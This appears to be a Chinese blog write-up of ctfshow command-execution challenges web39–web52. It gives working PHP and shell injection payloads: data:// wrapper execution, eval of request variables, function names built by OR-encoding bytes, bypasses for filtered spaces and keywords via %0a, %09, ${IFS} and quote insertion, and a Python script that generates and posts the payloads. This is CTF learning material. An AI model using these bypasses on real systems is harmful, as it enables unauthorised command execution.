ctfshow web入门 命令执行
昨天看了一下我的博客真的很恼火，不好看，还是用md来写吧
web39
查看源代码
看到include了，还是包含(其实不是)
源代码意思是当c不含flag的时候把c当php文件运行
php伪协议绕过php文件执行
data://text/plain 绕过执行php，然后构造一个我们真正想要执行的php
构造payload：
?c=data://text/plain,<?= system("cat fl*");?>
别忘记加http://
web40
第一种方法
查的可能使用的函数
localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.”
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素，并输出
highlight_file():输出（#对文件进行语法高亮显示。）
show_source():输出（#对文件进行语法高亮显示。）
print_r():“print_r可以输出stirng、int、float、array、object等,
过滤了很多符号，但是括号好像是中文的
日常查看文件
查看不了那就用我们上面查到的资料
查看文件，到手
**（?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));）**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars()：该函数返回一个包含当前上下文中所有已定义变量的数组。
next(get_defined_vars())：next()函数会将内部指针向前移动到数组中的下一个元素，并返回这个新指针指向的值。在这里，它获取并返回get_defined_vars()数组中的下一个元素，也就是下一个已定义变量。
array_pop(...)：array_pop()函数用于弹出数组的最后一个单元，并返回这个单元的值。在此处，它会从上一步获取的变量中移除并返回最后一个元素（值）。
eval(...)：这是一个危险的函数，它可以将字符串作为PHP代码执行
说白话就是读文件的，读出来之后传命令
然后传POST (c=passthru(“tac flag.php”)😉
web41
法一
过滤了很多符号，但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇，查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如：%73==s
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成：("%13|%60")("%19|%60")("%13|%60")("%14|%60")...，因为这样在php语言中是不合法的
所以查看文件
不知道为什么system被禁了，根本查看不了，后面可以补法一如果我做出来之后
做出来了
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");
法二
import re
import requests
if __name__ == '__main__':
url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/" #题目地址
a = []
ans1 = ""
ans2 = ""
for i in range(0, 256):
c = chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
if tmp:
continue
# print(tmp.group(0))
else:
# 将不被过滤的字符加入a数组
a.append(i)
# eval("echo($c);");
mya = "system" # 函数名 这里修改！
myb = "cat flag.php" # 参数
def myfun(k, my):
global ans1
global ans2
for i in range(0, len(a)):
for j in range(i, len(a)):
if a[i] | a[j] == ord(my[k]):
ans1 += chr(a[i])
ans2 += chr(a[j])
return;
for k in range(0, len(mya)):
myfun(k, mya)
data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)
data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
# [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
data = {"c": data1 + data2}
print(data)
r = requests.post(url=url, data=data)
print(r.text)
web42
由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上，而是被丢弃。
想让命令回显要进行分割
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
%0a 换行符
构造最简单的?c=cat flag.php;
web43
cat和;都被 过滤
?c=ls%0a(查看)
?c=tac flag.php%0a
web44
flag过滤
?c=tac fl*%0a
web45
貌似是还有空格也别绕过了，但是我会%09啊
而且Tab也可以用
?c=tac%09fl*%0a
web46
数字也没了（最重要的通配符*也没了）
?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a
web47
过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈
?c=tac%09fla\g.php%0a
web48
还是可以用上道题做的那个
web49
还是没影响
web50
还是没影响
试了一下不对，有影响因为我flag那里用来绕过的东西没了
过滤了%，所以我去查了一下怎么重新绕过空格
< 这个符号可以
?c=tac<fla''g.php||
web51
tac绕过了用nl
?c=nl<fla''g.php||
web52
又想了新的一种空格替换${IFS}
?c=nl${IFS}fla''g.php||
构造ctfshow{flag_here}，结果不对
那我们看一下目录
?c=ls${IFS}/|| (看根目录下面的文件)
然后我们就直接看flag就行了
看了个寂寞，但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
?c=nl${IFS}/fla''g||
